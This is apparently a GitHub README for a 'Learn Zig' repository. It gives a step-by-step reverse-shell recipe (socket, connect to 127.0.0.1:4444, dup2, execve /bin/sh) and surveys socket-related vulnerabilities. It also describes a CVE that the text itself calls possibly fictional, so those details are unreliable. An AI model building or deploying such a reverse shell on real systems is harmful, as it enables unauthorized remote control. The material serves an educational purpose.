Skip to content

Latest commit

 

History

4 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Learn Zig

Disclaimer: This repository is for educational purposes only. Do not use the code for malicious activities. Use it responsibly to learn Zig and system programming concepts.

This repository serves as a comprehensive resource for learning the Zig programming language, with a particular emphasis on low-level system programming concepts. Zig is a modern, general-purpose programming language designed for robustness, performance, and maintainability, offering manual memory management, compile-time execution, and seamless interoperability with C. Through code examples, explorations, and detailed explanations, this repo delves into advanced topics such as network programming, security vulnerabilities, and system-level operations like reverse shells and socket manipulations.

Whether you're a beginner looking to grasp Zig's syntax and features or an experienced developer exploring its capabilities in systems programming, this repository provides practical implementations and in-depth discussions. All examples are written in Zig, demonstrating how to leverage its features for efficient, low-level code.

Getting Started with Zig

To get started, ensure you have Zig installed on your system. You can download the latest version from the official Zig website (ziglang.org). Clone this repository and build the examples using zig build.

Zig's key features include:

  • Manual Memory Management: No garbage collector; explicit allocation and deallocation.
  • Compile-Time Code Execution: Run code at compile time for metaprogramming.
  • Cross-Compilation: Easily target different platforms and architectures.
  • C Interoperability: Direct integration with C libraries without bindings.

Explore the src/ directory for Zig source files implementing the concepts discussed below.

Reverse Shell Implementation

A reverse shell is a technique used in penetration testing and cybersecurity to gain remote access to a target system. It involves the target machine initiating a connection back to the attacker's machine, allowing the attacker to execute commands remotely. This is particularly useful in scenarios where the target is behind firewalls or NATs that block inbound connections.

In Zig, implementing a reverse shell leverages the language's low-level control over system calls and file descriptors. Here's a detailed breakdown:

Step-by-Step Process

  1. Socket Creation: Create a TCP socket using std.os.socket(std.os.AF.INET, std.os.SOCK.STREAM, 0). This establishes a stream socket for IPv4 communication.
  2. Address Setup: Define the attacker's IP address and port using a std.net.Address struct. For example, connect to 127.0.0.1:4444.
  3. Connection Establishment: Use std.os.connect(sockfd, &serv_addr.any, serv_addr.getOsSockLen()) to initiate the connection to the attacker's server.
  4. File Descriptor Redirection: Redirect standard input, output, and error streams to the socket using std.os.dup2(sockfd, 0), std.os.dup2(sockfd, 1), and std.os.dup2(sockfd, 2). This ensures that any data read from stdin or written to stdout/stderr goes through the socket.
  5. Shell Spawning: Execute a shell with std.os.execve("/bin/sh", &[_][]const u8{}, &[_][]const u8{}), passing no arguments or environment variables. Since the descriptors are redirected, the shell's I/O is now tunneled over the network.

Code Example

Refer to src/reverse_shell.zig for a complete Zig implementation. The code handles error checking, uses Zig's standard library for portability, and demonstrates proper resource management.

Security Considerations

While reverse shells are valuable for ethical hacking and system administration, they pose significant security risks if misused. Always ensure you have permission to perform such operations, and consider encryption (e.g., via SSL/TLS) to protect data in transit.

CVE-2026-31431: Copy Fail Vulnerability

CVE-2026-31431 is a hypothetical vulnerability (note: this may be a placeholder or fictional CVE for educational purposes; always verify with official sources) in the Linux kernel's user-space to kernel-space data copying mechanisms. It affects functions like copy_from_user and copy_to_user, which are critical for safe data transfer between user applications and the kernel.

Technical Details

  • Mechanism: copy_from_user copies data from user space to kernel space, performing bounds checking. However, interruptions (e.g., signals) can cause partial copies, leaving kernel buffers in an inconsistent state.
  • Race Conditions: In multi-threaded environments, concurrent calls to syscalls like read or write can lead to race conditions where partial data overwrites critical kernel structures.
  • Exploitation Vector: An attacker can craft inputs that trigger partial copies, potentially overwriting function pointers or security contexts. This could escalate privileges, allowing root access or arbitrary code execution.
  • Impact on File Descriptors: File descriptors involved in I/O operations (e.g., sockets) can become corrupted, leading to leaks or unauthorized access.

Mitigation

Kernel patches often include atomic copy operations or improved signal handling. In Zig code, when interfacing with the kernel, use safe wrappers and validate all inputs to prevent similar issues.

For a Zig example simulating safe copying, see src/safe_copy.zig.

Vulnerabilities Associated with AF_ALG, Unix, and AF_TCP/AF_UDP

This section explores vulnerabilities in various socket types, focusing on how improper file descriptor management can lead to exploits. Zig's explicit control over resources makes it an excellent language for demonstrating and mitigating these issues.

AF_ALG (Algorithm Sockets)

AF_ALG sockets provide access to kernel cryptographic algorithms, enabling hardware-accelerated encryption/decryption.

  • Socket Creation: std.os.socket(std.os.AF.ALG, std.os.SOCK_SEQPACKET, 0) creates an algorithm socket.
  • Binding and Usage: Bind to an algorithm (e.g., "hash" or "cipher") and perform operations via sendmsg/recvmsg.
  • Vulnerabilities:
    • Resource Exhaustion: Failing to close descriptors after use can deplete system resources, especially in loops.
    • Descriptor Hijacking: Using dup2 to duplicate descriptors can allow unprivileged processes to access restricted algorithms if validation is bypassed.
    • Exploitation: Attackers might chain this with other vulnerabilities to perform cryptanalysis or denial-of-service attacks.

Zig example: src/af_alg_example.zig shows secure usage with proper cleanup.

Unix Domain Sockets (AF_UNIX)

AF_UNIX sockets facilitate efficient IPC on the same machine via filesystem paths.

  • Socket Creation: std.os.socket(std.os.AF.UNIX, std.os.SOCK_STREAM, 0) for stream-based communication.
  • Binding: Use std.os.bind(sockfd, &addr.any, addr.getOsSockLen()) to associate with a path like /tmp/my_socket.
  • Connection: std.os.connect(sockfd, &addr.any, addr.getOsSockLen()) for clients.
  • Vulnerabilities:
    • Path Manipulation: Symlink attacks can redirect connections to unintended files, leading to data leaks or privilege escalation.
    • Descriptor Inheritance: Child processes spawned via execve inherit descriptors, potentially exposing sensitive IPC channels.
    • Race Conditions: Creating and deleting socket files concurrently can cause TOCTOU (Time-of-Check-Time-of-Use) vulnerabilities.

Example in src/unix_socket.zig: Demonstrates secure path handling and descriptor management.

AF_TCP/AF_UDP (TCP/UDP Sockets)

These are standard for network communication.

  • Socket Creation: std.os.socket(std.os.AF.INET, std.os.SOCK_STREAM, 0) for TCP; std.os.socket(std.os.AF.INET, std.os.SOCK_DGRAM, 0) for UDP.
  • Connection (TCP): std.os.connect(sockfd, &serv_addr.any, serv_addr.getOsSockLen()).
  • Data Transfer (UDP): Use std.os.sendto and std.os.recvfrom for connectionless messaging.
  • Vulnerabilities:
    • Buffer Overflows: Improper packet parsing can overflow buffers, leading to code injection.
    • Race Conditions in Redirection: Using dup2 during active connections can cause data races, corrupting streams.
    • Descriptor Leaks: After execve, child processes may inherit sockets, enabling remote code execution if combined with reverse shell setups.
    • Network Attacks: Man-in-the-middle or DDoS via malformed packets.

Zig implementations in src/tcp_socket.zig and src/udp_socket.zig include error handling and secure practices.

Common Themes

Across all socket types, vulnerabilities often stem from improper file descriptor handling. Zig's allocator and defer statements help ensure resources are freed correctly. Combining socket, connect, dup2, and execve without care can enable exploits like reverse shells or data exfiltration. Always validate inputs, use secure coding practices, and audit for race conditions.

Contributing

Contributions are welcome! If you have additional examples, fixes, or expansions on these topics, submit a pull request. Ensure all code adheres to Zig's style guidelines and includes tests.

License

This repository is licensed under the MIT License. See LICENSE for details.

Disclaimer

The content here is for educational purposes only. Do not use the information or code for illegal activities. Always obtain permission before testing on systems you do not own.

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages